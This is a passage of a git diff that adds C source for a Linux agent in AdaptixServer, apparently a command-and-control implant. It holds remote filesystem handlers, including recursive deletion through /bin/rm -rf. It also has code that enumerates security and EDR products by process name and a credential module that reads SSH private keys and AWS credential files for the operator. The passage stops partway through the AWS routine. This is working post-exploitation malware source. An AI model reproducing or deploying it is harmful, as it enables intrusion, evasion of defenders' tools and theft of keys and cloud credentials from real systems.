mn[0]; tmp[pos++] = mn[1]; tmp[pos++] = mn[2]; + tmp[pos++] = ' '; + if (day >= 10) tmp[pos++] = '0' + day / 10; + else tmp[pos++] = ' '; + tmp[pos++] = '0' + day % 10; + tmp[pos++] = ' '; + tmp[pos++] = '0' + (int)(hours / 10); + tmp[pos++] = '0' + (int)(hours % 10); + tmp[pos++] = ':'; + tmp[pos++] = '0' + (int)(mins / 10); + tmp[pos++] = '0' + (int)(mins % 10); + tmp[pos] = '\0'; + + ax_strncpy(buf, tmp, buf_size - 1); + buf[buf_size - 1] = '\0'; +} + +/// Convert UID to username by parsing /etc/passwd +static void uid_to_name(unsigned int uid, char *buf, size_t buf_size) { + char passwd[8192]; + int fd = sys_open("/etc/passwd", O_RDONLY, 0); + if (fd < 0) { goto fallback; } + + long n = sys_read(fd, passwd, sizeof(passwd) - 1); + sys_close(fd); + if (n <= 0) { goto fallback; } + passwd[n] = '\0'; + + // Format: name:x:uid:gid:... + char uid_str[16]; + ax_itoa((int)uid, uid_str, 10); + size_t uid_len = ax_strlen(uid_str); + + char *line = passwd; + while (*line) { + char *eol = ax_strchr(line, '\n'); + if (eol) *eol = '\0'; + + // Find first ':' (after name) + char *p1 = ax_strchr(line, ':'); + if (!p1) goto next; + // Find second ':' (after 'x') + char *p2 = ax_strchr(p1 + 1, ':'); + if (!p2) goto next; + // UID starts at p2+1 + char *uid_start = p2 + 1; + char *p3 = ax_strchr(uid_start, ':'); + if (!p3) goto next; + + size_t field_len = (size_t)(p3 - uid_start); + if (field_len == uid_len && ax_memcmp(uid_start, uid_str, uid_len) == 0) { + // Found! Copy name (line to p1) + size_t name_len = (size_t)(p1 - line); + if (name_len >= buf_size) name_len = buf_size - 1; + ax_memcpy(buf, line, name_len); + buf[name_len] = '\0'; + return; + } + + next: + if (eol) line = eol + 1; + else break; + } + +fallback: + ax_itoa((int)uid, buf, 10); +} + +/// Convert GID to group name by parsing /etc/group +static void gid_to_name(unsigned int gid, char *buf, size_t buf_size) { + char group[8192]; + int fd = sys_open("/etc/group", O_RDONLY, 0); + if (fd < 0) { goto fallback; } + + long n = sys_read(fd, group, sizeof(group) - 1); + sys_close(fd); + if (n <= 0) { goto fallback; } + group[n] = '\0'; + + char gid_str[16]; + ax_itoa((int)gid, gid_str, 10); + size_t gid_len = ax_strlen(gid_str); + + char *line = group; + while (*line) { + char *eol = ax_strchr(line, '\n'); + if (eol) *eol = '\0'; + + // Format: name:x:gid:members + char *p1 = ax_strchr(line, ':'); + if (!p1) goto next; + char *p2 = ax_strchr(p1 + 1, ':'); + if (!p2) goto next; + char *gid_start = p2 + 1; + char *p3 = ax_strchr(gid_start, ':'); + if (!p3) goto next; + + size_t field_len = (size_t)(p3 - gid_start); + if (field_len == gid_len && ax_memcmp(gid_start, gid_str, gid_len) == 0) { + size_t name_len = (size_t)(p1 - line); + if (name_len >= buf_size) name_len = buf_size - 1; + ax_memcpy(buf, line, name_len); + buf[name_len] = '\0'; + return; + } + + next: + if (eol) line = eol + 1; + else break; + } + +fallback: + ax_itoa((int)gid, buf, 10); +} + +// ──── Command handlers ──── + +int task_pwd(mp_writer_t *w) +{ + char cwd[4096]; + if (sys_getcwd(cwd, sizeof(cwd)) <= 0) { + write_error(w, "getcwd failed"); + return 0; + } + mp_write_map(w, 1); + mp_write_kv_str(w, "path", cwd); + return 0; +} + +int task_cd(const uint8_t *data, uint32_t data_len, mp_writer_t *w) +{ + char raw_path[4096] = {0}; + if (parse_string_param(data, data_len, "path", raw_path, sizeof(raw_path)) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char path[4096]; + normalize_path(raw_path, path, sizeof(path)); + + if (sys_chdir(path) != 0) { + write_error(w, "chdir failed"); + return 0; + } + + char cwd[4096]; + if (sys_getcwd(cwd, sizeof(cwd)) <= 0) { + write_error(w, "getcwd failed after chdir"); + return 0; + } + + mp_write_map(w, 1); + mp_write_kv_str(w, "path", cwd); + return 0; +} + +int task_cat(const uint8_t *data, uint32_t data_len, mp_writer_t *w) +{ + char raw_path[4096] = {0}; + if (parse_string_param(data, data_len, "path", raw_path, sizeof(raw_path)) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char path[4096]; + normalize_path(raw_path, path, sizeof(path)); + + // Check file size + struct linux_stat st; + if (sys_stat(path, &st) != 0) { + write_error(w, "file not found"); + return 0; + } + if (st.st_size > 1024 * 1024) { + write_error(w, "file size exceeds 1 MB (use download)"); + return 0; + } + + int fd = sys_open(path, O_RDONLY, 0); + if (fd < 0) { + write_error(w, "cannot open file"); + return 0; + } + + uint8_t *content = (uint8_t *)ax_malloc((size_t)st.st_size); + if (!content) { + sys_close(fd); + write_error(w, "malloc failed"); + return 0; + } + + size_t total = 0; + while (total < (size_t)st.st_size) { + long n = sys_read(fd, content + total, (size_t)st.st_size - total); + if (n <= 0) break; + total += (size_t)n; + } + sys_close(fd); + + mp_write_map(w, 2); + mp_write_kv_str(w, "path", path); + mp_write_kv_bin(w, "content", content, (uint32_t)total); + + ax_free(content); + return 0; +} + +int task_ls(const uint8_t *data, uint32_t data_len, mp_writer_t *w) +{ + char raw_path[4096] = {0}; + ax_strcpy(raw_path, "."); + parse_string_param(data, data_len, "path", raw_path, sizeof(raw_path)); + + char path[4096]; + normalize_path(raw_path, path, sizeof(path)); + + struct linux_stat dir_st; + if (sys_stat(path, &dir_st) != 0) { + mp_write_map(w, 3); + mp_write_kv_bool(w, "result", 0); + mp_write_kv_str(w, "status", "path not found"); + mp_write_kv_str(w, "path", path); + return 0; + } + + mp_writer_t files_writer; + mp_writer_init(&files_writer, 4096); + + if (S_ISDIR(dir_st.st_mode)) { + int dirfd = sys_open(path, O_RDONLY, 0); + if (dirfd < 0) { + mp_write_map(w, 3); + mp_write_kv_bool(w, "result", 0); + mp_write_kv_str(w, "status", "cannot open directory"); + mp_write_kv_str(w, "path", path); + return 0; + } + + // First pass: count entries + char dirbuf[4096]; + uint32_t count = 0; + for (;;) { + int nread = sys_getdents64(dirfd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *d = (struct linux_dirent64 *)(dirbuf + pos); + count++; + pos += d->d_reclen; + } + } + + // Reopen for second pass (no lseek on getdents) + sys_close(dirfd); + dirfd = sys_open(path, O_RDONLY, 0); + if (dirfd < 0) { + mp_write_map(w, 3); + mp_write_kv_bool(w, "result", 0); + mp_write_kv_str(w, "status", "cannot reopen directory"); + mp_write_kv_str(w, "path", path); + return 0; + } + + mp_write_array(&files_writer, count); + + for (;;) { + int nread = sys_getdents64(dirfd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *d = (struct linux_dirent64 *)(dirbuf + pos); + + // Build full path for stat + char fullpath[4096]; + ax_strncpy(fullpath, path, sizeof(fullpath) - 1); + size_t plen = ax_strlen(fullpath); + if (plen > 0 && fullpath[plen - 1] != '/') { + fullpath[plen] = '/'; + fullpath[plen + 1] = '\0'; + } + ax_strcat(fullpath, d->d_name); + + struct linux_stat fst; + ax_memset(&fst, 0, sizeof(fst)); + sys_stat(fullpath, &fst); + + char mode[11]; + mode_string(fst.st_mode, mode); + + char user[64], group[64]; + uid_to_name(fst.st_uid, user, sizeof(user)); + gid_to_name(fst.st_gid, group, sizeof(group)); + + char date[32]; + format_date(fst.st_mtime_sec, date, sizeof(date)); + + mp_write_map(&files_writer, 8); + mp_write_kv_str(&files_writer, "mode", mode); + mp_write_kv_int(&files_writer, "nlink", (int64_t)fst.st_nlink); + mp_write_kv_str(&files_writer, "user", user); + mp_write_kv_str(&files_writer, "group", group); + mp_write_kv_int(&files_writer, "size", (int64_t)fst.st_size); + mp_write_kv_str(&files_writer, "date", date); + mp_write_kv_str(&files_writer, "filename", d->d_name); + mp_write_kv_bool(&files_writer, "is_dir", S_ISDIR(fst.st_mode) ? 1 : 0); + + pos += d->d_reclen; + } + } + sys_close(dirfd); + } else { + // Single file + mp_write_array(&files_writer, 1); + + char mode[11]; + mode_string(dir_st.st_mode, mode); + + char user[64], group[64]; + uid_to_name(dir_st.st_uid, user, sizeof(user)); + gid_to_name(dir_st.st_gid, group, sizeof(group)); + + char date[32]; + format_date(dir_st.st_mtime_sec, date, sizeof(date)); + + const char *basename = raw_path; + for (const char *p = raw_path; *p; p++) { + if (*p == '/') basename = p + 1; + } + + mp_write_map(&files_writer, 8); + mp_write_kv_str(&files_writer, "mode", mode); + mp_write_kv_int(&files_writer, "nlink", (int64_t)dir_st.st_nlink); + mp_write_kv_str(&files_writer, "user", user); + mp_write_kv_str(&files_writer, "group", group); + mp_write_kv_int(&files_writer, "size", (int64_t)dir_st.st_size); + mp_write_kv_str(&files_writer, "date", date); + mp_write_kv_str(&files_writer, "filename", basename); + mp_write_kv_bool(&files_writer, "is_dir", 0); + } + + // Ensure display path ends with / for directories + char display_path[4096]; + ax_strncpy(display_path, path, sizeof(display_path) - 2); + size_t dlen = ax_strlen(display_path); + if (dlen > 0 && display_path[dlen - 1] != '/' && S_ISDIR(dir_st.st_mode)) { + display_path[dlen] = '/'; + display_path[dlen + 1] = '\0'; + } + + mp_write_map(w, 4); + mp_write_kv_bool(w, "result", 1); + mp_write_kv_str(w, "status", ""); + mp_write_kv_str(w, "path", display_path); + mp_write_kv_bin(w, "files", files_writer.buf.data, (uint32_t)files_writer.buf.len); + + mp_writer_free(&files_writer); + return 0; +} + +int task_cp(const uint8_t *data, uint32_t data_len, mp_writer_t *w) +{ + char raw_src[4096] = {0}, raw_dst[4096] = {0}; + if (parse_two_strings(data, data_len, "src", raw_src, sizeof(raw_src), + "dst", raw_dst, sizeof(raw_dst)) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char src[4096], dst[4096]; + normalize_path(raw_src, src, sizeof(src)); + normalize_path(raw_dst, dst, sizeof(dst)); + + // Copy file via syscalls + int sfd = sys_open(src, O_RDONLY, 0); + if (sfd < 0) { + write_error(w, "cannot open source"); + return 0; + } + + struct linux_stat st; + sys_fstat(sfd, &st); + + int dfd = sys_open(dst, O_WRONLY | O_CREAT | O_TRUNC, st.st_mode & 0777); + if (dfd < 0) { + sys_close(sfd); + write_error(w, "cannot create destination"); + return 0; + } + + char buf[8192]; + for (;;) { + long n = sys_read(sfd, buf, sizeof(buf)); + if (n <= 0) break; + long written = 0; + while (written < n) { + long w2 = sys_write(dfd, buf + written, (size_t)(n - written)); + if (w2 <= 0) break; + written += w2; + } + } + sys_close(sfd); + sys_close(dfd); + + mp_write_nil(w); + return 0; +} + +int task_mv(const uint8_t *data, uint32_t data_len, mp_writer_t *w) +{ + char raw_src[4096] = {0}, raw_dst[4096] = {0}; + if (parse_two_strings(data, data_len, "src", raw_src, sizeof(raw_src), + "dst", raw_dst, sizeof(raw_dst)) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char src[4096], dst[4096]; + normalize_path(raw_src, src, sizeof(src)); + normalize_path(raw_dst, dst, sizeof(dst)); + + if (sys_rename(src, dst) != 0) { + write_error(w, "rename failed"); + return 0; + } + + mp_write_nil(w); + return 0; +} + +int task_mkdir(const uint8_t *data, uint32_t data_len, mp_writer_t *w) +{ + char raw_path[4096] = {0}; + if (parse_string_param(data, data_len, "path", raw_path, sizeof(raw_path)) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char path[4096]; + normalize_path(raw_path, path, sizeof(path)); + + // Create with parents (simplified mkdirall) + char tmp[4096]; + ax_strncpy(tmp, path, sizeof(tmp) - 1); + for (char *p = tmp + 1; *p; p++) { + if (*p == '/') { + *p = '\0'; + sys_mkdir(tmp, 0755); + *p = '/'; + } + } + if (sys_mkdir(tmp, 0755) != 0) { + // Check if it already exists as dir + struct linux_stat st; + if (sys_stat(tmp, &st) != 0 || !S_ISDIR(st.st_mode)) { + write_error(w, "mkdir failed"); + return 0; + } + } + + mp_write_nil(w); + return 0; +} + +int task_rm(const uint8_t *data, uint32_t data_len, mp_writer_t *w) +{ + char raw_path[4096] = {0}; + if (parse_string_param(data, data_len, "path", raw_path, sizeof(raw_path)) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char path[4096]; + normalize_path(raw_path, path, sizeof(path)); + + struct linux_stat st; + if (sys_stat(path, &st) != 0) { + write_error(w, "path not found"); + return 0; + } + + if (S_ISDIR(st.st_mode)) { + // Recursive rm via fork+execve("/bin/rm", ["-rf", path]) + int pid = sys_fork(); + if (pid == 0) { + // Child — execve /bin/rm -rf + char *argv[] = { "/bin/rm", "-rf", path, (char *)0 }; + char *envp[] = { (char *)0 }; + sys_execve("/bin/rm", argv, envp); + sys_exit_group(1); + } else if (pid > 0) { + int status = 0; + sys_wait4(pid, &status, 0, (void *)0); + if ((status & 0xff00) >> 8 != 0) { + write_error(w, "rm -rf failed"); + return 0; + } + } else { + write_error(w, "fork failed"); + return 0; + } + } else { + if (sys_unlink(path) != 0) { + write_error(w, "unlink failed"); + return 0; + } + } + + mp_write_nil(w); + return 0; +} + +int task_zip(const uint8_t *data, uint32_t data_len, mp_writer_t *w) +{ + // zip not available on Linux via simple binary — stub for now + (void)data; + (void)data_len; + write_error(w, "zip not implemented"); + return 0; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_fs.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_fs.h new file mode 100644 index 000000000..e628af6a2 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_fs.h @@ -0,0 +1,20 @@ +#ifndef TASKS_FS_H +#define TASKS_FS_H + +#include "msgpack.h" +#include + +/// Filesystem command handlers +/// pwd, cd, cat, ls, cp, mv, mkdir, rm, zip + +int task_pwd(mp_writer_t *w); +int task_cd(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_cat(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_ls(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_cp(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_mv(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_mkdir(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_rm(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_zip(const uint8_t *data, uint32_t data_len, mp_writer_t *w); + +#endif /* TASKS_FS_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_linux.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_linux.c new file mode 100644 index 000000000..ee9a6ae32 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_linux.c @@ -0,0 +1,1329 @@ +/// tasks_linux.c -- Linux-specific commands for the native agent +/// env, netstat, mounts, edr, creds, persist, container +/// All ops via direct syscalls — zero libc dependency. + +#include "tasks_linux.h" +#include "crt.h" +#include "types.h" + +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif + +// ── Constants ── + +#define O_RDONLY 0 +#define O_WRONLY 1 +#define O_RDWR 2 +#define O_CREAT 0100 +#define O_TRUNC 01000 +#define O_APPEND 02000 + +// ── Helpers ── + +static void write_error(mp_writer_t *w, const char *msg) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", msg); +} + +static void write_output(mp_writer_t *w, const char *text) { + mp_write_map(w, 1); + mp_write_kv_str(w, "output", text); +} + +/// Read a file into a stack buffer, return bytes read (or -1) +static long read_file(const char *path, char *buf, size_t buf_size) { + int fd = sys_open(path, O_RDONLY, 0); + if (fd < 0) return -1; + long total = 0; + while ((size_t)total < buf_size - 1) { + long n = sys_read(fd, buf + total, buf_size - 1 - (size_t)total); + if (n <= 0) break; + total += n; + } + sys_close(fd); + buf[total] = '\0'; + return total; +} + +/// Check if a file exists +static int file_exists(const char *path) { + int fd = sys_open(path, O_RDONLY, 0); + if (fd < 0) return 0; + sys_close(fd); + return 1; +} + +/// Append string to dynamic buffer (realloc-based) +typedef struct { + char *data; + size_t len; + size_t cap; +} strbuf_t; + +static void sb_init(strbuf_t *sb) { + sb->cap = 4096; + sb->data = (char *)ax_malloc(sb->cap); + sb->data[0] = '\0'; + sb->len = 0; +} + +static void sb_append(strbuf_t *sb, const char *s) { + size_t slen = ax_strlen(s); + while (sb->len + slen + 1 > sb->cap) { + sb->cap *= 2; + sb->data = (char *)ax_realloc(sb->data, sb->cap); + } + ax_memcpy(sb->data + sb->len, s, slen); + sb->len += slen; + sb->data[sb->len] = '\0'; +} + +static void sb_free(strbuf_t *sb) { + if (sb->data) ax_free(sb->data); + sb->data = (char *)0; + sb->len = 0; + sb->cap = 0; +} + +/// Parse a single string field from msgpack params +static int parse_string_field(const uint8_t *data, uint32_t data_len, + const char *key_name, char *out, size_t out_size) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) return -1; + + size_t kname_len = ax_strlen(key_name); + for (uint32_t i = 0; i < map_count; i++) { + const char *key; uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) return -1; + if (klen == kname_len && ax_memcmp(key, key_name, klen) == 0) { + const char *val; uint32_t vlen; + if (mp_read_str(&r, &val, &vlen) != 0) return -1; + if (vlen >= out_size) vlen = (uint32_t)(out_size - 1); + ax_memcpy(out, val, vlen); + out[vlen] = '\0'; + return 0; + } + mp_skip(&r); + } + return -1; +} + +// ──── ENV ──── + +int task_env(mp_writer_t *w) +{ + char buf[16384]; + long n = read_file("/proc/self/environ", buf, sizeof(buf)); + if (n <= 0) { + write_error(w, "cannot read /proc/self/environ"); + return 0; + } + + // Replace null separators with newlines + for (long i = 0; i < n; i++) { + if (buf[i] == '\0') buf[i] = '\n'; + } + buf[n] = '\0'; + + write_output(w, buf); + return 0; +} + +// ──── NETSTAT ──── + +/// Parse hex IP + port from /proc/net/tcp format +/// Input: "0100007F:1F90" → "127.0.0.1:8080" +static void parse_hex_addr(const char *hex, char *out, size_t out_size) { + // Parse IP (little-endian hex) and port + unsigned long ip = 0; + unsigned int port = 0; + + // IP is 8 hex chars + const char *p = hex; + for (int i = 0; i < 8 && *p; i++, p++) { + ip = ip * 16; + if (*p >= '0' && *p <= '9') ip += (unsigned long)(*p - '0'); + else if (*p >= 'A' && *p <= 'F') ip += (unsigned long)(*p - 'A' + 10); + else if (*p >= 'a' && *p <= 'f') ip += (unsigned long)(*p - 'a' + 10); + } + if (*p == ':') p++; + // Port is 4 hex chars + for (int i = 0; i < 4 && *p; i++, p++) { + port = port * 16; + if (*p >= '0' && *p <= '9') port += (unsigned int)(*p - '0'); + else if (*p >= 'A' && *p <= 'F') port += (unsigned int)(*p - 'A' + 10); + else if (*p >= 'a' && *p <= 'f') port += (unsigned int)(*p - 'a' + 10); + } + + // IP is stored little-endian on x86, so bytes are reversed + unsigned char b1 = (unsigned char)(ip & 0xff); + unsigned char b2 = (unsigned char)((ip >> 8) & 0xff); + unsigned char b3 = (unsigned char)((ip >> 16) & 0xff); + unsigned char b4 = (unsigned char)((ip >> 24) & 0xff); + + char tmp[64]; + int pos = 0; + char num[8]; + + ax_itoa(b1, num, 10); for (int i = 0; num[i]; i++) tmp[pos++] = num[i]; + tmp[pos++] = '.'; + ax_itoa(b2, num, 10); for (int i = 0; num[i]; i++) tmp[pos++] = num[i]; + tmp[pos++] = '.'; + ax_itoa(b3, num, 10); for (int i = 0; num[i]; i++) tmp[pos++] = num[i]; + tmp[pos++] = '.'; + ax_itoa(b4, num, 10); for (int i = 0; num[i]; i++) tmp[pos++] = num[i]; + tmp[pos++] = ':'; + ax_itoa((int)port, num, 10); for (int i = 0; num[i]; i++) tmp[pos++] = num[i]; + tmp[pos] = '\0'; + + ax_strncpy(out, tmp, out_size - 1); + out[out_size - 1] = '\0'; +} + +static const char *tcp_state_name(int state) { + switch (state) { + case 1: return "ESTABLISHED"; + case 2: return "SYN_SENT"; + case 3: return "SYN_RECV"; + case 4: return "FIN_WAIT1"; + case 5: return "FIN_WAIT2"; + case 6: return "TIME_WAIT"; + case 7: return "CLOSE"; + case 8: return "CLOSE_WAIT"; + case 9: return "LAST_ACK"; + case 10: return "LISTEN"; + case 11: return "CLOSING"; + default: return "UNKNOWN"; + } +} + +static void parse_net_file(const char *path, const char *proto, strbuf_t *sb) { + char buf[32768]; + long n = read_file(path, buf, sizeof(buf)); + if (n <= 0) return; + + // Skip header line + char *line = buf; + char *eol = ax_strchr(line, '\n'); + if (!eol) return; + line = eol + 1; + + while (*line) { + eol = ax_strchr(line, '\n'); + if (eol) *eol = '\0'; + + // Format: " sl local_address rem_address st ..." + // Skip leading spaces and sl field + char *p = line; + while (*p == ' ') p++; + while (*p && *p != ' ' && *p != ':') p++; // skip sl number + if (*p == ':') p++; + while (*p == ' ') p++; + + // local_address + char local_hex[32] = {0}; + int li = 0; + while (*p && *p != ' ' && li < 31) local_hex[li++] = *p++; + while (*p == ' ') p++; + + // remote_address + char remote_hex[32] = {0}; + int ri = 0; + while (*p && *p != ' ' && ri < 31) remote_hex[ri++] = *p++; + while (*p == ' ') p++; + + // state (hex) + int state = 0; + while (*p && *p != ' ') { + state = state * 16; + if (*p >= '0' && *p <= '9') state += *p - '0'; + else if (*p >= 'A' && *p <= 'F') state += *p - 'A' + 10; + else if (*p >= 'a' && *p <= 'f') state += *p - 'a' + 10; + p++; + } + + char local_str[64], remote_str[64]; + parse_hex_addr(local_hex, local_str, sizeof(local_str)); + parse_hex_addr(remote_hex, remote_str, sizeof(remote_str)); + + // Format output line + char outline[256]; + // "proto local remote state" + ax_strcpy(outline, proto); + // Pad proto to 6 chars + size_t plen = ax_strlen(outline); + while (plen < 6) { outline[plen++] = ' '; outline[plen] = '\0'; } + + ax_strcat(outline, local_str); + plen = ax_strlen(outline); + while (plen < 30) { outline[plen++] = ' '; outline[plen] = '\0'; } + + ax_strcat(outline, remote_str); + plen = ax_strlen(outline); + while (plen < 54) { outline[plen++] = ' '; outline[plen] = '\0'; } + + ax_strcat(outline, tcp_state_name(state)); + ax_strcat(outline, "\n"); + sb_append(sb, outline); + + if (eol) line = eol + 1; + else break; + } +} + +int task_netstat(mp_writer_t *w) +{ + strbuf_t sb; + sb_init(&sb); + + sb_append(&sb, "Proto Local Address Foreign Address State\n"); + sb_append(&sb, "----- ---------------------- ---------------------- -----------\n"); + + parse_net_file("/proc/net/tcp", "tcp", &sb); + parse_net_file("/proc/net/tcp6", "tcp6", &sb); + parse_net_file("/proc/net/udp", "udp", &sb); + parse_net_file("/proc/net/udp6", "udp6", &sb); + + write_output(w, sb.data); + sb_free(&sb); + return 0; +} + +// ──── MOUNTS ──── + +int task_mounts(mp_writer_t *w) +{ + char buf[16384]; + long n = read_file("/proc/self/mountinfo", buf, sizeof(buf)); + if (n <= 0) { + // Fallback to /proc/mounts + n = read_file("/proc/mounts", buf, sizeof(buf)); + if (n <= 0) { + write_error(w, "cannot read mount info"); + return 0; + } + } + + write_output(w, buf); + return 0; +} + +// ──── EDR DETECTION ──── + +typedef struct { + const char *proc_name; + const char *product; +} edr_sig_t; + +int task_edr(mp_writer_t *w) +{ + strbuf_t sb; + sb_init(&sb); + + // Check processes via /proc + // We look for known EDR/security process names + static const struct { const char *name; const char *product; } edr_procs[] = { + // CrowdStrike + {"falcon-sensor", "CrowdStrike Falcon"}, + {"falcond", "CrowdStrike Falcon"}, + {"falconctl", "CrowdStrike Falcon"}, + // Elastic + {"elastic-agent", "Elastic Security"}, + {"elastic-endpoint", "Elastic Endpoint"}, + {"filebeat", "Elastic Filebeat"}, + {"auditbeat", "Elastic Auditbeat"}, + // Wazuh + {"wazuh-agentd", "Wazuh"}, + {"ossec-agentd", "Wazuh/OSSEC"}, + {"wazuh-modulesd", "Wazuh"}, + // SentinelOne + {"SentinelAgent", "SentinelOne"}, + {"sentinelone", "SentinelOne"}, + // Sysdig / Falco + {"falco", "Sysdig Falco"}, + {"sysdig", "Sysdig"}, + {"dragent", "Sysdig Agent"}, + // Lacework + {"datacollector", "Lacework"}, + // OSSEC + {"ossec-logcollector","OSSEC"}, + {"ossec-syscheckd", "OSSEC"}, + // Aqua + {"aqua-enforcer", "Aqua Security"}, + // Tetragon (Cilium eBPF) + {"tetragon", "Cilium Tetragon"}, + // Auditd + {"auditd", "Linux Audit"}, + // Tripwire + {"tripwire", "Tripwire"}, + // ClamAV + {"clamd", "ClamAV"}, + {"clamscan", "ClamAV"}, + }; + int num_sigs = (int)(sizeof(edr_procs) / sizeof(edr_procs[0])); + + // Scan /proc for running processes + struct linux_dirent64_scan { + uint64_t d_ino; + int64_t d_off; + uint16_t d_reclen; + uint8_t d_type; + char d_name[]; + }; + + int dirfd = sys_open("/proc", O_RDONLY, 0); + if (dirfd < 0) { + write_error(w, "cannot open /proc"); + sb_free(&sb); + return 0; + } + + char dirbuf[4096]; + int found_count = 0; + sb_append(&sb, "=== Security Tool Detection ===\n\n"); + sb_append(&sb, "--- Running Processes ---\n"); + + for (;;) { + int nread = sys_getdents64(dirfd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + int pos = 0; + while (pos < nread) { + struct linux_dirent64_scan *d = (struct linux_dirent64_scan *)(dirbuf + pos); + if (d->d_type == 4 && d->d_name[0] >= '0' && d->d_name[0] <= '9') { + // Read /proc//comm + char comm_path[64]; + ax_strcpy(comm_path, "/proc/"); + ax_strcat(comm_path, d->d_name); + ax_strcat(comm_path, "/comm"); + + char comm[256] = {0}; + read_file(comm_path, comm, sizeof(comm)); + // Strip trailing newline + size_t clen = ax_strlen(comm); + if (clen > 0 && comm[clen - 1] == '\n') comm[clen - 1] = '\0'; + + for (int s = 0; s < num_sigs; s++) { + if (ax_strstr(comm, edr_procs[s].name)) { + char line[256]; + ax_strcpy(line, " [!] "); + ax_strcat(line, edr_procs[s].product); + ax_strcat(line, " (pid="); + ax_strcat(line, d->d_name); + ax_strcat(line, ", comm="); + ax_strcat(line, comm); + ax_strcat(line, ")\n"); + sb_append(&sb, line); + found_count++; + } + } + } + pos += d->d_reclen; + } + } + sys_close(dirfd); + + if (found_count == 0) { + sb_append(&sb, " (none detected)\n"); + } + + // Check kernel security modules + sb_append(&sb, "\n--- Kernel Security ---\n"); + + // SELinux + if (file_exists("/sys/fs/selinux/enforce")) { + char enforce[8] = {0}; + read_file("/sys/fs/selinux/enforce", enforce, sizeof(enforce)); + sb_append(&sb, " SELinux: "); + sb_append(&sb, enforce[0] == '1' ? "enforcing\n" : "permissive\n"); + } + + // AppArmor + if (file_exists("/sys/kernel/security/apparmor/profiles")) { + sb_append(&sb, " AppArmor: enabled\n"); + } + + // Auditd + if (file_exists("/proc/sys/kernel/audit_enabled")) { + char audit[8] = {0}; + read_file("/proc/sys/kernel/audit_enabled", audit, sizeof(audit)); + sb_append(&sb, " Audit: "); + sb_append(&sb, audit[0] == '1' ? "enabled\n" : "disabled\n"); + } + + // eBPF programs + if (file_exists("/sys/fs/bpf")) { + sb_append(&sb, " eBPF: /sys/fs/bpf mounted\n"); + } + + // Capabilities + sb_append(&sb, "\n--- Process Capabilities ---\n"); + char status[4096]; + if (read_file("/proc/self/status", status, sizeof(status)) > 0) { + char *cap = ax_strstr(status, "CapEff:"); + if (cap) { + char *eol = ax_strchr(cap, '\n'); + if (eol) *eol = '\0'; + sb_append(&sb, " "); + sb_append(&sb, cap); + sb_append(&sb, "\n"); + if (eol) *eol = '\n'; + } + cap = ax_strstr(status, "CapPrm:"); + if (cap) { + char *eol = ax_strchr(cap, '\n'); + if (eol) *eol = '\0'; + sb_append(&sb, " "); + sb_append(&sb, cap); + sb_append(&sb, "\n"); + } + } + + write_output(w, sb.data); + sb_free(&sb); + return 0; +} + +// ──── CREDS ──── + +/// Get HOME from /proc/self/environ +static void get_home(char *buf, size_t buf_size) { + char env[4096]; + long n = read_file("/proc/self/environ", env, sizeof(env)); + if (n <= 0) { ax_strcpy(buf, "/tmp"); return; } + + // Environ is null-separated + char *p = env; + char *end = env + n; + while (p < end) { + if (p[0] == 'H' && p[1] == 'O' && p[2] == 'M' && p[3] == 'E' && p[4] == '=') { + ax_strncpy(buf, p + 5, buf_size - 1); + buf[buf_size - 1] = '\0'; + return; + } + while (p < end && *p) p++; + p++; + } + ax_strcpy(buf, "/root"); +} + +static void creds_ssh(strbuf_t *sb) { + char home[256]; + get_home(home, sizeof(home)); + + sb_append(sb, "\n--- SSH Keys ---\n"); + + static const char *ssh_files[] = { + "/.ssh/id_rsa", "/.ssh/id_ed25519", "/.ssh/id_ecdsa", "/.ssh/id_dsa", + "/.ssh/authorized_keys", "/.ssh/known_hosts", "/.ssh/config", + }; + int num = (int)(sizeof(ssh_files) / sizeof(ssh_files[0])); + + for (int i = 0; i < num; i++) { + char path[512]; + ax_strcpy(path, home); + ax_strcat(path, ssh_files[i]); + + char content[4096]; + long n = read_file(path, content, sizeof(content)); + if (n > 0) { + sb_append(sb, " [+] "); + sb_append(sb, path); + sb_append(sb, " ("); + char num_str[16]; + ax_itoa((int)n, num_str, 10); + sb_append(sb, num_str); + sb_append(sb, " bytes)\n"); + + // Show first 3 lines of key files (not full content for safety) + if (i < 4) { + int lines = 0; + char *p = content; + while (*p && lines < 3) { + char *eol = ax_strchr(p, '\n'); + if (eol) *eol = '\0'; + sb_append(sb, " "); + sb_append(sb, p); + sb_append(sb, "\n"); + lines++; + if (eol) p = eol + 1; + else break; + } + if (lines >= 3) sb_append(sb, " ...\n"); + } + } + } +} + +static void creds_aws(strbuf_t *sb) { + char home[256]; + get_home(home, sizeof(home)); + + sb_append(sb, "\n--- AWS Credentials ---\n"); + + char path[512]; + ax_strcpy(path, home); + ax_strcat(path, "/.aws/credentials"); + + char content[4096]; + long n = read_file(path, content, sizeof(content)); + if (n > 0) { + sb_append(sb, " [+] "); + 